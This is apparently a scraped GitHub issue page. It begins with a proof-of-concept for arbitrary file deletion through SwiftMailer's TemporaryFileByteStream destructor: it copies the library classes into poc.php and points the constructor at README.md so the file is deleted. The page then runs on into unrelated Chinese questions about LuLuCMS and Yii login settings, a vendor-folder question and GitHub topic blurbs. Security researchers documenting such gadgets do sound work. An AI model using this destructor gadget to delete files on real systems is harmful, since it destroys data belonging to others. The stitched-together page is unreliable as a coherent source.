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Line 36 of the "TemporaryFileByteStream.php" use the unlink function
public function __destruct()
{
if (file_exists($this->getPath())) {
@unlink($this->getPath());
}
}
copy TemporaryFileByteStream.php as poc.php
modify the __construct()
of Swift_ByteStream_TemporaryFileByteStream
public function __construct()
{
$filePath = tempnam(sys_get_temp_dir(), 'FileByteStream');
if ($filePath === false) {
throw new Swift_IoException('Failed to retrieve temporary file name.');
}
parent::__construct("./README.md", true);
}
add it's all parent classes and other implements
In the end, add the code
$a=new Swift_ByteStream_TemporaryFileByteStream();
and run a cmd php poc.php
README.md will be remove
poc.php
<?php
interface Swift_OutputByteStream
{
/**
* Reads $length bytes from the stream into a string and moves the pointer
* through the stream by $length.
*
* If less bytes exist than are requested the remaining bytes are given instead.
* If no bytes are remaining at all, boolean false is returned.
*
* @param int $length
*
* @return string|bool
*
* @throws Swift_IoException
*/
public function read($length);
/**
* Move the internal read pointer to $byteOffset in the stream.
*
* @param int $byteOffset
*
* @return bool
*
* @throws Swift_IoException
*/
public function setReadPointer($byteOffset);
}
interface Swift_FileStream extends Swift_OutputByteStream
{
/**
* Get the complete path to the file.
*
* @return string
*/
public function getPath();
}
interface Swift_Filterable
{
/**
* Add a new StreamFilter, referenced by $key.
*
* @param Swift_StreamFilter $filter
* @param string $key
*/
public function addFilter(Swift_StreamFilter $filter, $key);
/**
* Remove an existing filter using $key.
*
* @param string $key
*/
public function removeFilter($key);
}
interface Swift_InputByteStream
{
/**
* Writes $bytes to the end of the stream.
*
* Writing may not happen immediately if the stream chooses to buffer. If
* you want to write these bytes with immediate effect, call {@link commit()}
* after calling write().
*
* This method returns the sequence ID of the write (i.e. 1 for first, 2 for
* second, etc etc).
*
* @param string $bytes
*
* @return int
*
* @throws Swift_IoException
*/
public function write($bytes);
/**
* For any bytes that are currently buffered inside the stream, force them
* off the buffer.
*
* @throws Swift_IoException
*/
public function commit();
/**
* Attach $is to this stream.
*
* The stream acts as an observer, receiving all data that is written.
* All {@link write()} and {@link flushBuffers()} operations will be mirrored.
*
* @param Swift_InputByteStream $is
*/
public function bind(Swift_InputByteStream $is);
/**
* Remove an already bound stream.
*
* If $is is not bound, no errors will be raised.
* If the stream currently has any buffered data it will be written to $is
* before unbinding occurs.
*
* @param Swift_InputByteStream $is
*/
public function unbind(Swift_InputByteStream $is);
/**
* Flush the contents of the stream (empty it) and set the internal pointer
* to the beginning.
*
* @throws Swift_IoException
*/
public function flushBuffers();
}
abstract class Swift_ByteStream_AbstractFilterableInputStream implements Swift_InputByteStream, Swift_Filterable
{
/**
* Write sequence.
*/
protected $_sequence = 0;
/**
* StreamFilters.
*/
private $_filters = array();
/**
* A buffer for writing.
*/
private $_writeBuffer = '';
/**
* Bound streams.
*
* @var Swift_InputByteStream[]
*/
private $_mirrors = array();
/**
* Commit the given bytes to the storage medium immediately.
*
* @param string $bytes
*/
abstract protected function _commit($bytes);
/**
* Flush any buffers/content with immediate effect.
*/
abstract protected function _flush();
/**
* Add a StreamFilter to this InputByteStream.
*
* @param Swift_StreamFilter $filter
* @param string $key
*/
public function addFilter(Swift_StreamFilter $filter, $key)
{
$this->_filters[$key] = $filter;
}
/**
* Remove an already present StreamFilter based on its $key.
*
* @param string $key
*/
public function removeFilter($key)
{
unset($this->_filters[$key]);
}
/**
* Writes $bytes to the end of the stream.
*
* @param string $bytes
*
* @return int
*
* @throws Swift_IoException
*/
public function write($bytes)
{
$this->_writeBuffer .= $bytes;
foreach ($this->_filters as $filter) {
if ($filter->shouldBuffer($this->_writeBuffer)) {
return;
}
}
$this->_doWrite($this->_writeBuffer);
return ++$this->_sequence;
}
/**
* For any bytes that are currently buffered inside the stream, force them
* off the buffer.
*
* @throws Swift_IoException
*/
public function commit()
{
$this->_doWrite($this->_writeBuffer);
}
/**
* Attach $is to this stream.
*
* The stream acts as an observer, receiving all data that is written.
* All {@link write()} and {@link flushBuffers()} operations will be mirrored.
*
* @param Swift_InputByteStream $is
*/
public function bind(Swift_InputByteStream $is)
{
$this->_mirrors[] = $is;
}
/**
* Remove an already bound stream.
*
* If $is is not bound, no errors will be raised.
* If the stream currently has any buffered data it will be written to $is
* before unbinding occurs.
*
* @param Swift_InputByteStream $is
*/
public function unbind(Swift_InputByteStream $is)
{
foreach ($this->_mirrors as $k => $stream) {
if ($is === $stream) {
if ($this->_writeBuffer !== '') {
$stream->write($this->_writeBuffer);
}
unset($this->_mirrors[$k]);
}
}
}
/**
* Flush the contents of the stream (empty it) and set the internal pointer
* to the beginning.
*
* @throws Swift_IoException
*/
public function flushBuffers()
{
if ($this->_writeBuffer !== '') {
$this->_doWrite($this->_writeBuffer);
}
$this->_flush();
foreach ($this->_mirrors as $stream) {
$stream->flushBuffers();
}
}
/** Run $bytes through all filters */
private function _filter($bytes)
{
foreach ($this->_filters as $filter) {
$bytes = $filter->filter($bytes);
}
return $bytes;
}
/** Just write the bytes to the stream */
private function _doWrite($bytes)
{
$this->_commit($this->_filter($bytes));
foreach ($this->_mirrors as $stream) {
$stream->write($bytes);
}
$this->_writeBuffer = '';
}
}
class Swift_ByteStream_FileByteStream extends Swift_ByteStream_AbstractFilterableInputStream implements Swift_FileStream
{
/** The internal pointer offset */
private $_offset = 0;
/** The path to the file */
private $_path;
/** The mode this file is opened in for writing */
private $_mode;
/** A lazy-loaded resource handle for reading the file */
private $_reader;
/** A lazy-loaded resource handle for writing the file */
private $_writer;
/** If magic_quotes_runtime is on, this will be true */
private $_quotes = false;
/** If stream is seekable true/false, or null if not known */
private $_seekable = null;
/**
* Create a new FileByteStream for $path.
*
* @param string $path
* @param bool $writable if true
*/
public function __construct($path, $writable = false)
{
if (empty($path)) {
throw new Swift_IoException('The path cannot be empty');
}
$this->_path = $path;
$this->_mode = $writable ? 'w+b' : 'rb';
if (function_exists('get_magic_quotes_runtime') && @get_magic_quotes_runtime() == 1) {
$this->_quotes = true;
}
}
/**
* Get the complete path to the file.
*
* @return string
*/
public function getPath()
{
return $this->_path;
}
/**
* Reads $length bytes from the stream into a string and moves the pointer
* through the stream by $length.
*
* If less bytes exist than are requested the
* remaining bytes are given instead. If no bytes are remaining at all, boolean
* false is returned.
*
* @param int $length
*
* @return string|bool
*
* @throws Swift_IoException
*/
public function read($length)
{
$fp = $this->_getReadHandle();
if (!feof($fp)) {
if ($this->_quotes) {
ini_set('magic_quotes_runtime', 0);
}
$bytes = fread($fp, $length);
if ($this->_quotes) {
ini_set('magic_quotes_runtime', 1);
}
$this->_offset = ftell($fp);
// If we read one byte after reaching the end of the file
// feof() will return false and an empty string is returned
if ($bytes === '' && feof($fp)) {
$this->_resetReadHandle();
return false;
}
return $bytes;
}
$this->_resetReadHandle();
return false;
}
/**
* Move the internal read pointer to $byteOffset in the stream.
*
* @param int $byteOffset
*
* @return bool
*/
public function setReadPointer($byteOffset)
{
if (isset($this->_reader)) {
$this->_seekReadStreamToPosition($byteOffset);
}
$this->_offset = $byteOffset;
}
/** Just write the bytes to the file */
protected function _commit($bytes)
{
fwrite($this->_getWriteHandle(), $bytes);
$this->_resetReadHandle();
}
/** Not used */
protected function _flush()
{
}
/** Get the resource for reading */
private function _getReadHandle()
{
if (!isset($this->_reader)) {
if (!$this->_reader = fopen($this->_path, 'rb')) {
throw new Swift_IoException(
'Unable to open file for reading ['.$this->_path.']'
);
}
if ($this->_offset != 0) {
$this->_getReadStreamSeekableStatus();
$this->_seekReadStreamToPosition($this->_offset);
}
}
return $this->_reader;
}
/** Get the resource for writing */
private function _getWriteHandle()
{
if (!isset($this->_writer)) {
if (!$this->_writer = fopen($this->_path, $this->_mode)) {
throw new Swift_IoException(
'Unable to open file for writing ['.$this->_path.']'
);
}
}
return $this->_writer;
}
/** Force a reload of the resource for reading */
private function _resetReadHandle()
{
if (isset($this->_reader)) {
fclose($this->_reader);
$this->_reader = null;
}
}
/** Check if ReadOnly Stream is seekable */
private function _getReadStreamSeekableStatus()
{
$metas = stream_get_meta_data($this->_reader);
$this->_seekable = $metas['seekable'];
}
/** Streams in a readOnly stream ensuring copy if needed */
private function _seekReadStreamToPosition($offset)
{
if ($this->_seekable === null) {
$this->_getReadStreamSeekableStatus();
}
if ($this->_seekable === false) {
$currentPos = ftell($this->_reader);
if ($currentPos<$offset) {
$toDiscard = $offset-$currentPos;
fread($this->_reader, $toDiscard);
return;
}
$this->_copyReadStream();
}
fseek($this->_reader, $offset, SEEK_SET);
}
/** Copy a readOnly Stream to ensure seekability */
private function _copyReadStream()
{
if ($tmpFile = fopen('php://temp/maxmemory:4096', 'w+b')) {
/* We have opened a php:// Stream Should work without problem */
} elseif (function_exists('sys_get_temp_dir') && is_writable(sys_get_temp_dir()) && ($tmpFile = tmpfile())) {
/* We have opened a tmpfile */
} else {
throw new Swift_IoException('Unable to copy the file to make it seekable, sys_temp_dir is not writable, php://memory not available');
}
$currentPos = ftell($this->_reader);
fclose($this->_reader);
$source = fopen($this->_path, 'rb');
if (!$source) {
throw new Swift_IoException('Unable to open file for copying ['.$this->_path.']');
}
fseek($tmpFile, 0, SEEK_SET);
while (!feof($source)) {
fwrite($tmpFile, fread($source, 4096));
}
fseek($tmpFile, $currentPos, SEEK_SET);
fclose($source);
$this->_reader = $tmpFile;
}
}
class Swift_ByteStream_TemporaryFileByteStream extends Swift_ByteStream_FileByteStream
{
public function __construct()
{
$filePath = tempnam(sys_get_temp_dir(), 'FileByteStream');
if ($filePath === false) {
throw new Swift_IoException('Failed to retrieve temporary file name.');
}
parent::__construct("./README.md", true);
}
public function __destruct()
{
if (file_exists($this->getPath())) {
@unlink($this->getPath());
}
}
}
$a=new Swift_ByteStream_TemporaryFileByteStream();
lulucms入口在哪里?一般不是都是在backend,frontend有一个web文件夹吗?
Hello.
What are the reasons to keep a vendor folder in the repository?
What do you think about composer.json?
我看backend和frontend里面都有
“'user' => [
'identityClass' => 'common\models\User',
'enableAutoLogin' => true,
'loginUrl' => ['admin/login'],
],
”
只是frontend里面没有loginurl这个,但是为什么backend就要检查用户,需要登录,frontend就不需要用户登录,在哪里进行设置的啊
A declarative, efficient, and flexible JavaScript library for building user interfaces.
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google ❤️ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.